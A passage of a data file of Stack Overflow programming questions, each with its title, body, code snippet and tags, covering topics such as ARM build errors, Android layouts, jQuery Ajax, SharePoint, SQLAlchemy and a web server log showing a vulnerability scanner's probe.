C:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\hal\\include/hal.h:39:0,\n
[cc] from C:\\CooCox\\Code\\Test3\\main.c:29:\n [cc] C:\\
CooCox\\Code\\chibitest\\chibios_2.4.2\\boards\\st_stm32f4_discovery/board.h:57:0:
warning: \"STM32F4XX\" redefined [enabled by default]\n [cc] <command-
line>:0:0: note: this is the location of the previous definition\n [cc] C:\\
CooCox\\Code\\Test3\\main.c: In function 'Thread1':\n [cc] C:\\CooCox\\Code\\
Test3\\main.c:189:1: warning: no return statement in function returning non-void [-
Wreturn-type]\n [cc] Starting link\n [cc] arm-none-eabi-gcc -
mcpu=cortex-m4 -mthumb -Wl -nostartfiles -g -Wl,-Map=test3_Flash.map -O0 -lgcc -lc
-lm -lnosys -LC:\\CooCox\\CoIDE\\workspace\\test3_Flash -Wl,-TC:\\CooCox\\CoIDE\\
workspace\\test3_Flash/arm-gcc-link.ld -g -o test3_Flash.elf ..\\obj\\main.o ..\\
obj\\syscalls.o\n [cc] ..\\obj\\main.o: In function", "gcc arm
stm32f4discovery"], "5071348": ["generating random integers between 0 and some
value where half are in the set (0,5] and the other half (5,x]", "I am looking for
a way to generate a random integer from 0-x, where x is defined at runtime by the
human user. However, half of those numbers must be greater than zero and less than
or equal to 5 (0,5] and the other half must be in the set of [6,x]. \nI know that
the following code will generate a number from 0-x. The main problem is ensuring
that half of them will be in the set of (0,5]\n\nI'm not looking for someone to do
this for me, just looking for some hints. Thank you!\n", " Math.random() * x;\
n", "java random numbers"], "240247": ["ItemAdded eventreceiver for ListTemplate
119 (Wiki pages) not firing", "The below code works fine for ItemAdded, however it
isn't firing for ItemUpdated, simply put how do you add an ItemUpdated event
receiver for a Wiki Page Library.\n\n[update]\nI have created Deleted and Updated a
fresh and both will not fire.\n", "<?xml version=\"1.0\" encoding=\"utf-8\"?>\
n<Elements xmlns=\"http://schemas.microsoft.com/sharepoint/\">\n <Receivers
ListTemplateId=\"119\">\n <Receiver>\n <Name>Wiki Receiver Item
Updated</Name>\n <Type>ItemUpdated</Type>\n
<Assembly>$SharePoint.Project.AssemblyFullName$</Assembly>\n
<Class>Custom.SharePoint.Intranet.WebTemplates.WebParts.WikiReceiver.WikiReceiver</
Class>\n <SequenceNumber>10001</SequenceNumber>\n </Receiver>\n
</Receivers>\n</Elements>\n\nnamespace
Custom.SharePoint.Intranet.WebTemplates.WebParts.WikiReceiver\n{\n ///
<summary>\n /// List Item Events\n /// </summary>\n public class
WikiReceiver : SPItemEventReceiver\n {\n\n /// <summary>\n /// An
item was added.\n /// </summary>\n public override void
ItemUpdated(SPItemEventProperties properties)\n {\n", "event-handlers wiki
itemupdated"], "4857277": ["How to increase i/o throughput for faster reading in
linux?", "I have a C program who is reading from stdin. And i will test my program
to 2GB of data with (4KB of read buffer) with dd command on linux.\nI got 565MB/s
on 3.20GHz machine. I got lesser in 300MHz machine. Is there any trick to maximize
input speed. I have read some proc entry but can get any help. (is it something
that i can maximize kernel io buffer size to increase speed?).\nPlease reply in
brief asap.\nBeginner in this field.\n", "", "linux linux-kernel linux-device-
driver"], "1504045": ["Any idea why Google not caching my site?", "My site
www.books-for-children.com (developed in Wordpress) has been live for about two
months and still has not been cached by Google, which seems highly unusual. Any
ideas why?\nThank you.\n", "", "cache google"], "4997581": ["Android Dynamically
Load ListView", "\nI am adding item in ListView using ArrayAdapter.\n\nFirst
display 15 item in the ListView. \nScroll to bottom it must fetch and display next
15 content from web API.\n\n\nGive some idea.\n", "", "android listview android-
listview web-api android-scrollview"], "3523409": ["How can I know if the user
clicked on a button or an another part of the screen", "I got a OnClickListener
with some Button. So, when I press some of that buttons appear at bottom of the
screen another Button, for example. If I dont click that last Button, this one must
disappear. \nThe question is: how can I know if the user clicked on a button or an
another part of the screen. \nIf the user clicked the button I can use onClick()?\
nIf the user didnt click the button, what function get that action?\nPD:I tried
with onUserInteraction() and cant resolve this, because the program call it clicked
or not the button.\n\nMy XML code is:\n\n\nWell, when I press the Button \"A\
u00f1adir\" appear the RelativeLayout with another 3 Buttons. If my next action is
not press any of that buttons the RelativeLayout.\nI show my code: \n\n", "<?xml
version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout
xmlns:android=\"http://schemas.android.com/apk/res/android\"\nandroid:id=\"@+id/
LinearLayout1\"\nandroid:layout_width=\"match_parent\"\
nandroid:layout_height=\"match_parent\"\nandroid:orientation=\"vertical\" >\n\
n<FrameLayout\n android:id=\"@+id/paco\"\n
android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\"
>\n\n <TabHost\n android:id=\"@android:id/tabhost\"\n
android:layout_width=\"match_parent\"\n
android:layout_height=\"match_parent\"
>\n\n <FrameLayout\n android:id=\"@+id/pepe\"\n
android:layout_width=\"match_parent\"\n
android:layout_height=\"match_parent\" >\n\n <RelativeLayout\n
android:layout_width=\"match_parent\"\n
android:layout_height=\"50dp\" >\n </RelativeLayout>\n\n
<FrameLayout\n android:id=\"@android:id/tabcontent\"\n
android:layout_width=\"match_parent\"\n
android:layout_height=\"match_parent\" >\n </FrameLayout>\n\n
<TabWidget\n android:id=\"@android:id/tabs\"\n
android:layout_width=\"match_parent\"\n
android:layout_height=\"50dp\"\n android:layout_marginTop=\"50dp\"
>\n\n </TabWidget>\n\n </FrameLayout>\n\n </TabHost>\n\n
<LinearLayout\n android:id=\"@+id/pedro\"\n
android:layout_width=\"match_parent\"\n
android:layout_height=\"wrap_content\"\n android:layout_gravity=\"bottom\"\n
android:gravity=\"center\"\n android:orientation=\"vertical\" >\n\n
<RelativeLayout\n android:id=\"@+id/layoutCuadricula_anadirRegalo\"\n
android:layout_width=\"match_parent\"\n
android:layout_height=\"wrap_content\"\n android:gravity=\"center\" >\n\
n <Button\n android:id=\"@+id/btCuadricula_foto\"\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n android:text=\"Foto\" />\n\
n <Button\n android:id=\"@+id/btCuadricula_galeria\"\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n
android:layout_alignParentTop=\"true\"\n
android:layout_toRightOf=\"@+id/btCuadricula_foto\"\n
android:text=\"Galeria\" />\n\n <Button\n
android:id=\"@+id/btCuadricula_iconos\"\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n
android:layout_alignParentTop=\"true\"\n
android:layout_toRightOf=\"@+id/btCuadricula_galeria\"\n
android:text=\"Iconos\" />\n </RelativeLayout>\n\n <Button\n
android:id=\"@+id/btCuadricula_anadir\"\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n android:text=\"A\u00f1adir\"
/>\n\n </LinearLayout>\n\n</FrameLayout>\n", "android button click focus"],
"5121524": ["How to import data with SSIS for sequential guids?", "Is there anyway
to import data into SSIS where I expect the PKs to be sequential guids?\nThe only
method I've been able to come up with so far is to create a temporary table with
the column defaulting to loading the data in there then copying it to the correct
table. This isn't very elegant and is somewhat time consuming of having to add a
bunch of extra layers in my packages to accommodate this.\n", "newsequentialid()",
"sql-server-2008 ssis data-import newsequentialid"], "4946557": ["Renaming Zurb
Foundation files causes errors in IE", "I'm using Zurb's Foundation to create a
responsive grid. http://foundation.zurb.com/\nIt works fine in all browsers -
except when I rename a file in IE, the grid drops from 12 to 11, which knackers the
layout. If I keep the original filename from the Foundation download, it works
fine, but that's not very practical.\nThis occurs even if I make no changes other
than the name, hence I haven't uploaded my code/css.\nThis is bizarre - has anyone
else encountered this?\nThanks, Oli.\n", "", "html css html5 responsive-design
zurb-foundation"], "1819353": ["SQL Compact 2008 Connection String Problem", "I
have the following code to connect to a sql server compact edition 2008:\n\
nHowever, I keep getting the following error when is executed:\n\n\"A network-
related or\n instance-specific error occurred while\n establishing a connection
to SQL\n Server. The server was not found or\n was not accessible. Verify that
the\n instance name is correct and that SQL\n Server is configured to allow
remote\n connections. (provider: SQL Network\n Interfaces, error: 26 - Error
Locating\n Server/Instance Specified)\"\n\nDoes anyone have any ideas what the
problem might be? I can create a connection to the db in the database explorer but
it doesn't seem to work in code.\n", " private SqlConnection sqlConn;\n\n
public void createConnection()\n {\n String connectionString = @\"Data
Source=C:\\Projects\\somefile.sdf;Persist Security Info=False\";\n sqlConn =
new SqlConnection(connectionString);\n sqlConn.Open();\n }\n", "c# sql-
server connection-string"], "1958663": ["UIPickerView Causing leaks when connected
via datasource", "I created a test project to confirm my memory leaks:\nProject
file: https://dl.dropbox.com/u/3703182/PickerView.zip\nBasically a UIPickerView is
connected to a datasource via IB. When it's connected to a datasource, it leaks. If
not, no leak. I need to use a UIPickerView for an imminent app that needs to be
released ASAP, unfortunately it guarantees a crash every 2 hours because of the
leak. How can I use the UIPickerView despite the memory leaks without crashing?\
nEDIT:\nIt only leaks on device, not in simulator.\n", "", "iphone ios memory-leaks
uipickerview"], "3506416": ["Silverlight Toolkit Controls are not visible in
Toolbox", "I have Installed Microsoft\u00ae Silverlight\u2122 3 Tools for Visual
Studio 2008 SP1.\nI could able to write XAML code and compile the same. But, I
could not see Silverlight Toolkit in the Toolbox even if I am in the XAML page.\
nOne more problem:\nWhen I type the following line of code:\n<Button
Content=\"Click Here!\" Click=\"\" /> I am NOT getting Visual Studio Editor related
Support to generate event method in code window.\nWhat could be wrong?\n\nIt may be
useful to anyone of you to help me in solving the problem:\n\nIn the Toolbox
window, **\n\nRight click -> Show All\n\n**. Now, I could see all the controls in
different Tabs (I am talking about Silverlight controls), but they are all in
disabled mode.\n\nMy doubt is: why all the controls are coming but in Disable
mode?\n\n", "", "silverlight-3.0"], "5163983": ["I don't want use the Analyzer to
do search, how can i do?", "I am using Lucene+Hibernate Search, and choose the
DefualtAnalyzer as the Analyzer.\nBut I wouldn't like it, i just want the inputed
value can be matched accurately.\nFor example ,input 'I love you' , it will be
analyze as '[Ilo lov ove eyo you]'.\nI just want I just want 'I love you' match 'I
love you', if it isn't 'I love you' ,you cann't find out anything.\nSo how let it
work?\n", "", "lucene hibernate-search"], "4575198": ["iPhone: Blur UIImage", "In
my iPhone application I have a black-and-white . I need to blur that image
(Gaussian blur would do).\niPhone clearly knows how to blur images, as it does that
when it draws shadows.\nHowever I did not found anything related in the API.\nDo I
have to do blurring by hand, without hardware acceleration?\n", "UIImage", "iphone
image-manipulation quartz-2d"], "5003598": ["Spring 3.1.2 RowMapper
parameterization", "I'm developing a web application using Spring 3.1.2, and need
to create a custom row mapper. I have created a private static final class which
implements RowMapper, but i'm getting the error message \"The type RowMapper is not
generic; it cannot be parameterized with arguments \". \nAll Spring related jars in
my lib folder are of 3.1.2.RELEASE version. I have been unable to find anything of
the sort elsewhere. Any ideas why this might be happening? \nThanks.\nHere is the
sample code:\n\nDAO Class:\n\n", "public class OutPatient extends Patient{\n
@Pattern(regexp=\"[0-9]+\", message=\"OPD No. should only contain digits.\")\
nString opdNo;\n\npublic String getOpdNo() {\n return opdNo;\n}\n\npublic void
setOpdNo(String opdNo) {\n this.opdNo = opdNo;\n}\n}\n", "java spring generics
spring-mvc spring-3"], "1218306": ["How to implement SP 2010 visual web part in
MOSS 2007 site?", "I have created a Visual web part for SP2010 site, What I need is
to implement it into MOSS 2007 site.\nDoes MOSS2007 support visual web part,and
how to do this?\n", "", "sharepoint2007 sharepoint2010 webparts"], "914411": ["Ajax
Authorization Header has not been sent", "I'm having some difficulties with my Ajax
Authorization header. I try to send it this way:\n\nBut when I try th code.. it
does not send the header... Going to the query-url by hand and filling in the
credentials work... and even with the credentials in a session (/client GET request
sends the Authorization header perfectly) the header is NOT sent when accessing the
/Project URI....\n", "$.ajax({\n url: query,\n type: \"GET\",\n
accept: \"application/json\",\n dataType: 'json',\n beforeSend: function
(xhr) {\n alert('1');\n var bytes =
Crypto.charenc.Binary.stringToBytes(\"xxxxxxxx:xxxxxxxxx\");\n
alert('2'+bytes);\n var bas64 = Crypto.util.bytesToBase64(bytes);\n
alert('3'+bas64);\n xhr.setRequestHeader(\"Authorization\", \"Basic \" +
bas64);\n alert('up and awaaaaaaaay');\n },\n succes: function
(result) {\n alert('success!');\n },\n error: function (xhr,
ajaxOptions, thrownError) {\n alert(xhr.responseText);\n //$
('#DisplayInfoLoader').html('<span style=\"color: red;\">An Error occured....' +
xhr.responseText + '</span>');\n //$('#DisplayInfoLoader').fadeOut(3000);\n
}\n});\n", "jquery ajax authorization http-basic-authentication"], "4098381":
["jQuery 'Undefined' error on basic show/hide code", "I have some pretty simple
code:\n\nTo just allow me to overlay.show();
and overlay.hide();. When I try to run them in the console (Chrome) I continue to
get a (very useful) 'undefined'. A simple console.log('ok'); shows the functions
are there but I just can't figure this one out.\nIt's probably something stupid but
I'm sleep deprived and have been working on this project way too long now. Any help
is greatly appreciated.\n", "var overlay = {\n show: function() {\n var
width = $('#checkout-region').outerWidth();\n var height = $('#checkout-
region').outerHeight();\n // Set vars and show\n $('#checkout-
processing').css({\n 'height': height + 'px',\n 'width':
width + 'px'\n }).fadeIn(300);\n },\n hide: function() {\n $
('#checkout-processing').fadeOut(300);\n }\n}\n", "jquery undefined"],
"4905953": ["Create csv with asp.net and open in excel", "I'm using Asp.net to
create a csv file that the user can open directly in excel. I want to make it
possible to show the download popup and for the user to choose \"Open with Excel\"
and that will open the file in excel. \nThe code to create the csv:\n\nExcel needs
to understand that \"Year\", \"Make\", etc should all be different columns. That
doesn't seem to work with the csv I'm creating, everything is just in the same
column. It shows up like this:\nhttp://oi54.tinypic.com/2evyb0k.jpg \nThe only way
to get it working with excel is to use the \"Text Import Wizard\". Then everything
shows up in different columns like it should.\nAs I said what I need is to create a
spreadsheet (it doesn't need to be csv), it should just be easy for the user to
open in excel or whatever they are using to start working with it. How would you
solve this? Thanks!\n", "Response.Clear();\nResponse.AddHeader(\"content-
disposition\", string.Format(\"attachment; filename={0}.csv\", \"test\"));\
nResponse.ContentType = \"text/csv\";\nResponse.Write(\"Year, Make, Model, Length\\
n1997, Ford, E350, 2.34\\n2000, Mercury, Cougar, 2.38\");\nResponse.End();\n",
"asp.net excel csv spreadsheet"], "4431779": ["jQuery resize and position current
browser window", "How can I set height, width and set the position of the current
browser window in the function of jQuery ?\n", "document.ready()", "javascript
jquery webbrowser location"], "5974757": ["How can I remove marker with bonded
circle from the map?", "I did bind the circle with marker to make view like:\n \
nBut when I try to remove marker from the map, the circle still exists. Hmm,\nHow
can I remove marker with circle?\nRelevant code:\n\nAny suggestions would be
appreciated.\nThanks,\n", " function removeMarker(){\n if(selectedMarker)\n
selectedMarker.setMap(null); \n}\n\n....\n\nfunction createCircle()\n{\n
var circle = {\n strokeColor: \"#006DFC\",\n
strokeOpacity: 0.4,\n strokeWeight: 2,\n
fillColor: \"#006DFC\",\n fillOpacity: 0.15,\n map:
mapA,\n center: selectedMarker.getPosition(),\n
radius: 50 // in meters\n };\n var cityCircle = new
google.maps.Circle(circle); \n\n\n cityCircle.bindTo('center',
selectedMarker, 'position');\n}\n", "javascript google-maps-api-3"], "1218307":
["How to add values in existing array dynamically in senchatouch2", "Using push()
method i added values in array,but when i add again using push() values are added
in separate array..How to add values in existing array dynamically?kindly provide
help with sample piece of code\n", "", "arrays sencha-touch-2 push add dynamically-
generated"], "5659039": ["ASP Login from C# .NET Application", "I have been looking
for more information on how to login to an aspx based website from a C# NET
application, but everything I find is based on creating aspx login systems in C#
instead. I would like the user to be able to login to an .aspx site, having nothing
to do with any actual ASP code in my project. Can anyone provide more information
on this?\n", "", "c# .net asp.net login"], "2788437": ["Play Multiple Video Items
Simultaneously/Synchronously in iOS", "Does anybody have any good ideas for hacks
to get multiple videos playing simultaneously in iOS5? It seems AVFoundation for
iOS still doesn't support playback of multiple items simultaneously yet.\nI
actually want to play an embedded video in one part of my screen, and then have
another part alternate between playing the same video, in synchrony with the first
one, and not showing anything at all. The user would toggle whether the second view
would be parroting the first video in real time.\nAny suggestions welcome!\n", "",
"video ios5 avfoundation hack"], "1270381": ["Can I do synchronous cross-domain
communicating with window.postMessage?", "I'm thinking of using window.postMessage
directly for cross-domain communication.\nIf I do:\n\n from the parent frame\nLoad
an iframe\n from the child iframe\n\nWhen will the messages I posted before loading
the iframe be executed? Are they guaranteed to be executed at all? Are there timing
guarantees?\nI would like to pass a parameter from the top frame that influences
the initialization of the child frame.\n", "postMessage()", "javascript html5
cross-domain postmessage"], "2146167": ["Automatically find permission problems of
a directory", "I often have the problem that a program - e.g. apache - may not
access a certain file or directory.\nSolving the problem means to manually check
the file and every single directory in the path up to root, and see if the
program's user or group may access it. This is tedious.\nWhich program is able to
automatically tell me where the problem is?\n\nI imagine I tell the program the
path, user and group - and it shows me where in the tree the problem is. Note that
I'm aware of problems like symlinks vs. Apache's directive which cannot be
detected that way.\n", "-FollowSymLinks", "linux permissions shell automation"],
"1183256": ["MVC4 - DisplayMode versus Areas for creating a client portal to
internal business app", "I have an MVC app intended for internal company use (but
designed with the knowledge that eventually we'd be providing clients access) that
is currently served over the internet (ssl). We're now looking at providing clients
access to it, and their their accounts. Profile editing, program enrollments,
status of current services, pretty typical stuff. But I'm see-sawing on how to go
about it. There are bound to be things that are unique to the public access that
doesn't apply to company employees but I'd like to keep this as DRY as possible and
still try to keep the existing code streamlined. I've come up with two options and
I'm looking for opinions and insights I may be missing. Am I committing any design
faux pas entertaining this or am I missing another option?\n\nMVC4 DisplayModes\
nMVC4 offers the ability (via DisplayModes) to serve alternate Views based off
custom criteria. The default implementation is based off of the AgentString and is
used to serve alternate views for mobile devices (tablets, phones). But I've tested
it and it can also be used to serve up alternate views based off of other criteria,
like user information (being in a certain role). I'm thinking I could add a role to
the system that is unique to public client accounts that would result in them
getting alternate views if the customizations are major and if not, to let it fall
back to using the default view if the customizations did not necessitate a brand
new view. The rest of their access would be handled as much as possible using
existing permissions, roles, and security restrictions. The downfall as I see it is
that the Controller Actions would be the same for both employees and public
clients, so it may get a little muddy with different code paths depending on if the
user is an employee or a public client. Not to mention the possability of
unintentionally exposing something that is meant for employees only. But it would
also keep the views very DRY.\nglobal.asax\n\n\nMVC Areas\nMVC also offers the
ability to use Areas as a way to offer a sort of separation of parts of an
application within the same site. So I could create an area called Portal for
example to serve as a client portal to the website/application. using this method I
should be able to inherit from the Controllers used for the primary portion of the
site and either override certain actions as needed when it needs different logic
for the client portal and let the rest fall through to the base class (I haven't
tested this theory yet but I'm assuming it would work?). I think this would result
in DRY controllers but not so much for the views as I'd have to copy any views I
need from the main site even if they don't need any changes.\nThe below code is a
bit contrived but it gets the point across I think.\n\n\nHas anyone else looked at
something similar to this? I don't want to get too far down one path or the other
until I get a second opinion on my thought process so any help you could offer
would be appreciated.\n", "var displayModes = DisplayModeProvider.Instance.Modes;\
ndisplayModes.Insert(0, new DefaultDisplayMode(\"Client\")\n {\n
ContextCondition = (context => context.User.Identity.IsAuthenticated &&
context.User.IsInRole(\"Client\"))\n });\n", "asp.net-mvc web-security dry
asp.net-mvc-areas separation-of-concerns"], "3299914": ["Python multiple
intersection", "I reimplemented the set in python but i have some problem with
multiple intersection.... I followed the book Learning Python but i have problem
with my code\n\nbut when I run this:\n\nI have two different behavior\n\nI don't
understand because the second is different, in my opinion they should have the same
behavior, anyone can help me? \n", "class Set:\n def __init__(self,value=[]):\n
self.data = []\n self.remDupli(value)\n\n def remDupli(self,val):\n
for i in val:\n if i not in self.data:\n
self.data.append(i)\n\n def intersect(self,other):\n val=[]\n for
i in self.data:\n for k in other:\n if i == k:\n
val.append(i)\n return Set(val)\n\n def union(self,other):\n
val=self.data\n for i in other:\n if i not in self.data:\n
val.append(i)\n return Set(val)\n\n def __or__(self,a): return
self.union(a)\n def __and__(self,a): return self.intersect(a)\n def
__len__(self): return len(self.data)\n def __getitem__(self,key): return
self.data[key]\n def __repr__(self): return 'Set: ' +repr(self.data)\n\
nclass Extend(Set):\n def intersect(self, *others):\n val = []\n
for i in self:\n for x in others:\n if i in x:\n
val.append(i)\n return Set(val)\n", "python set intersection"], "5571081":
["Can't access site after plugin activation", "I get the following error after
adding multiple plugins, including All In One Event Calender and BackupWP. Now I
can't access anything from within the admin panel or from the front-end. I can't
get into the Plugins page to de-activate any problem plugin. Can anybody help me
get back to a point where my site is usable?\n\n", "Fatal error: \n Cannot
redeclare fb_admin_dialog() \n (previously declared in
/home/jomoxo/public_html/angelinesoatmealoriginals.com/wp-content/plugins/
facebook/fb-wp-helpers.php:2) \n in
/home/jomoxo/public_html/angelinesoatmealoriginals.com/wp-content/plugins/all-in-
one-event-calendar/lib/facebook-php-sdk/fb-wp-helpers.php \n on line 11\n",
"facebook fatal-error calendar"], "5170992": ["validating date in zendframework2",
"Hiho,\nI would like to validate a date field from an zf2 \nform. I set the
'format' option to get the format I need.\nBut at every time I validate it i get an
error.\nThe validator looks like this:\n\nBut I get every time an error that the
date is in the wrong format.\n", " $inputFilter->add($factory-
>createInput(array(\n 'name' => 'user_data_birth',\n
'required' => false,\n 'validators' => array(\n array(\n
'name' => 'Date',\n 'options' => array(\n
'format' => 'd.m.Y',\n 'locale' => 'de',\n
'messages' => array(\n \\Zend\\Validator\\Date::INVALID =>
'Das scheint kein g\u00c3\u00bcltiges Datum zu sein.',\n \\
Zend\\Validator\\Date::INVALID_DATE => 'Das scheint kein g\u00c3\u00bcltiges Datum
zu sein. (Invalid Date)',\n \\Zend\\Validator\\
Date::FALSEFORMAT => 'Das Datum ist nicht im richtigen Format.',\n
),\n ),\n ),\n array(\n
'name' => 'NotEmpty',\n 'options' => array(\n
'messages' => array(\n \\Zend\\Validator\\NotEmpty::IS_EMPTY
=> 'Bitte geben Sie das Datum an'\n ),\
n ),\n )\n ),\n )));\n",
"validation form-validation zend-framework2"], "4457326": ["SQLAlchemy ORDER BY
DESCENDING?", "How can I use ORDER BY in a SQLAlchemy query like the following?\
nThis query works, but returns them in ascending order:\n\nIf I try:\n\nthen I get:
.\n", "descending", "sqlalchemy"], "5054530": ["JSF accessing backing map object",
"I have a jsp subview page that I have passed a parameter to and I want to then
pass that parameter to a map's get() method that is stored in a session bean.\nEx:\
n\nIn the above example MySessionBean implements the Map interface and I have my
own custom get method that will create an object and put it in the map if none
exists for the key [params.id]. When I run the code in debug mode my get method for
MySessionBean never gets called and my panel is always rendered. Am I not passing
parameters correctly? Or accessing the parameter passed to the subview correclty?\
nHere is how I passed the parameter to this subview:\n\nThe reason I'm trying to do
this is so I can include this template subview multiple times in a single page so
that each instance won't have the same backing bean objects. Thus using a map in
the session and passing it an id to gain access to the backing beans for each
instance.\nAlso, I am limited JSF 1.2, JSTL 1.1, JBoss 4.0.4. So I can't use
answers that use RichFaces or JSF 2.\nEDIT: 11/22/11 11:23\nI Replaced the
[param.id] with a static string value.\n\nAnd everything worked. It triggered my
map get method and accessed the session beans and everything. So it is clearly not
liking the whole using [params.id] passing to the map object. Not sure what to do
from here.\n", "<h:panelGrid id=\"panelGrid1\"
rendered=\"#{MySessionBean[param.id].showPanelGrid1}\">\n...\n</h:panelGrid>\n",
"jsf map param"], "893550": ["Jquery ajax encoding data", "I have this code
(below)..\n\nI am using this to pass in data to a web service but the problem is if
there are any characters in there like this (, / ? : @ & = + $ #). I have put in an
encodeURIComponent which works fine and then in the web service I put them back
again.\nWhat i'm asking is if there is a better way of accomplishing this? It seems
a bit crazy that I have to encode the string each time before passing it through..\
nThanks\n", "$.ajax\n({\n type: \"POST\",\n url:
\"../WebServices/Feedback.svc/sendfeedback\",\n dataType: 'json',\n async:
false,\n data: '{\"stars\": \"' + stars + '\", \"rating\" : \"' + rating +
'\", \"note\" : \"' + encodeURIComponent(note) + '\", \"code\" : \"' + code +
'\", \"permission\" : \"' + permission + '\"}',\n contentType:
\"application/json; charset=utf-8\"\n});\n", "jquery ajax character-encoding uri"],
"6010774": ["Where to store user login information in asp.net", "when I build
asp.net applications that require user login, I write a method in my businees class
that returns a Member object instance if the user is logged in, null if not. Then I
do this: \n\nThen in every page load I have to implement this:\n\nThis looks like
its working, but is this a good approach?\nBecause sometimes the Session does not
return that object anymore. It happens before 20mins, which is default timeout for
session. Is there any reson for that? It happens randomly, when I make several
postbacks during testing.\nThanks in advance.\n", "Session[\"User\"] = user;\n",
"asp.net session membership"], "1460443": ["Outlook doesn't get push emails from
hosted exchange server", "Somehow my outlook stopped getting push emails from the
my provider of the hosted exchange server.\nIt happens on multiple computers and I
can get the emails or synchronize the folders only by disconnecting from the server
and connecting again.\nFrom the other hand - I still get the pushed emails quickly
and directly to my Iphone.\nTried to update outlook to 2010 but it doesn't help.\
nIs it a problem with the hosted exchange provider ?\n", "", "exchange hosting"],
"4429608": ["Getting OS X Storage Device List Using IOServiceGetMatchingServices",
"I need to get the list of physical storage devices on an OS X system.
IOServiceGetMatchingServices using the kIOStorageClass key gives me a list of all
volumes, not all hardware storage devices. How do I do this?\n", "", "osx iokit"],
"4762422": ["C# + WMI + LPT help!", "I'm making an application that needs to list
all the LPT ports in a machine with their IO addresses. (ie it's output : LPT1
[starting ; ending] ....)\nUsing WMI you can get this info.. the name/number from
Win32_ParallelPort and the addresses from Win32_PortResource. \nThe problem is that
i don't know how to associate the portname with it's addresses. \n", "", "c# wmi
lpt"], "1151627": ["How can I disallow normal users on Ubuntu Lucid 10.04 (multi
user NIS setup) from shutting down the system?", "In the past, I was able to
set \"SystemMenu=false\" in gdm.conf, to prevent normal users from being able to
shut down the system.\nIn ubuntu 10.04, this does not work.\nHow can this be done?\
n", "", "ubuntu shutdown gdm"], "1686213": ["How to suspend WPF Window to render
before not all desired properties are set?", "I have quite a simple question
regarding the rendering thread in WPF and dotNet4.0.\nHow can I avoid that the
rendering thread is already starting to render before I have set all my dependency
properties what I want to set. I like to set the new Height, Width and Left and Top
Property of an WPF Window first completely before the rendering thread should start
to render the new position and size of a window. \nBackground: I am designing at
the moment a borderless Window where I do all the logic of resizing and
positioning. When I now try to resize the Window by mouse on the left top corner or
even the left border, then I have to set a new window size (Height, Width) and at
the same time I have to set the new position using the Left and Top property.
Unfortunately the rendering thread is already starting to render even if still not
all new property values are set. This leads to a flickering of the window in
different position before it is set finally on the correct new position and looks
not nice.\nI already researched a lot of question threads here, but no thread gives
really the answer.\nPlease Help!\nNote: I think there is no code required, the
problem is without code understandable and everyone can try this with the default
window, to set is borderless.\n", "", "wpf window render suspend borderless"],
"10241": ["Is there a way to provide better rspec test descriptions", "I have been
using rspec for a little while and recently switched style from\n\nto the more
concise\n\nWhilst I much prefer the more concise style when
writing the tests and for viewing them in code, I miss being able to specify the
description for each test, particularly since the equality messages just display
the values that are being tested. So in the example above, assuming the test
passes, with the first style, I would get a message saying 'it should do something
cool', whereas the second will just say that it has worked.\nDoes anyone know of a
way to do this? Cheers\n", "it \"should do something cool\" do\n
@something.should work\nend\n", "ruby-on-rails ruby bdd rspec2"], "701321":
["Bootstrap Fluid Layout preserve ratio on small screens", "I am trying to build a
clean fluid layout using twitter bootstrap, that preserves the relative ratio of
the spans whatever the screen size.\nI'm not sure this is possible in a clean way
(a hack around it is to create html tables), but I am not interested in dirty
hacks, the point is to write clean code.\nSo the idea is that on the bootstrap
website they give the impression that this is
possible:\nhttp://twitter.github.com/bootstrap/scaffolding.html#layouts \n(try
making your browser window small and you will see the fluid layout maintain it's
relative ratio even whilst reducing to max (they used different code on the website
since the class names are different)\nBut then when you download the fluid layout
demo, if you resize the window to something small everything stacks up and I have
not found a way to avoid
that:\nhttp://twitter.github.com/bootstrap/examples/fluid.html\nI'm thinking it's
not possible, but was wondering if maybe someone knew something about this. \
nCheers\n", "", "twitter-bootstrap fluid-layout"], "3930360": ["Make getters and
setters function in phpDesigner8", "Hi i need to make getters and setter in
phpDesigner8 like in Zend Studio.\nMy office computer is not very powerful for
Zend 8 or 9.\n(Please don't write \"change the IDE\" I like this one).\nAnybody
knows is it possible or not ?\n\nThanks.\n", "class A \n{\n protected $x;\n
protected $y;\n\n public function getX() // I need this automatically.\n {\n
//....\n }\n\n public function setX($x) // I need this automatically.\n {\n
//......\n }\n\n}\n", "php ide phpdesigner"], "5170993": ["Using Google Apps
Email in CodeIgniter", "How do I use Google Apps' email services to send mail using
the CodeIgniter email class? The email class seems to prefer SMTP, and I was going
through the clients Google Apps account. I can't find any place within the Google
Apps settings for SMTP. Does anyone know of a solution for this issue? Thanks in
advance, and God bless!\n", "", "email codeigniter google-apps"], "4457327":
["CGContextAddPath console error?", "In my app I get the following errors in the
console:\n\nThe only areas in which this can be occurring is in either of the
following two methods to resize or add rounded edges to a UIImage. Here are the
methods:\n\nBoth methods are called from within UIViewControllers and I am positive
the UIImage is not nil.\nIs there any reason for this to be happening?\nThanks!\n",
"May 1 22:06:59 iPhone-4S app[93660] <Error>: CGContextAddPath: invalid context
0x0\nMay 1 22:06:59 iPhone-4S app[93660] <Error>: clip: invalid context 0x0\n",
"ios console cgcontext"], "4063893": ["Webserver logs: \"Morfeus F***ing
Scanner\"", "I've just found these accesses in my web server log files:\n\nShould I
start to worry ? Or is it just a normal attempt to hack my server ?\nthanks\n",
"::ffff:218.38.136.38 109.72.95.175 - [10/Jan/2011:02:54:12 +0100] \"GET
/user/soapCaller.bs HTTP/1.1\" 404 345 \"-\" \"Morfeus Fucking Scanner\"\
n::ffff:218.38.136.38 109.72.95.174 - [10/Jan/2011:02:54:12 +0100] \"GET
/user/soapCaller.bs HTTP/1.1\" 404 345 \"-\" \"Morfeus Fucking Scanner\"\n",
"security webserver lighttpd"], "596832": ["DNS Records (Nettica.com)", "If someone
uses Nettica.com (to manage DNS records), is there any chance, how to find out
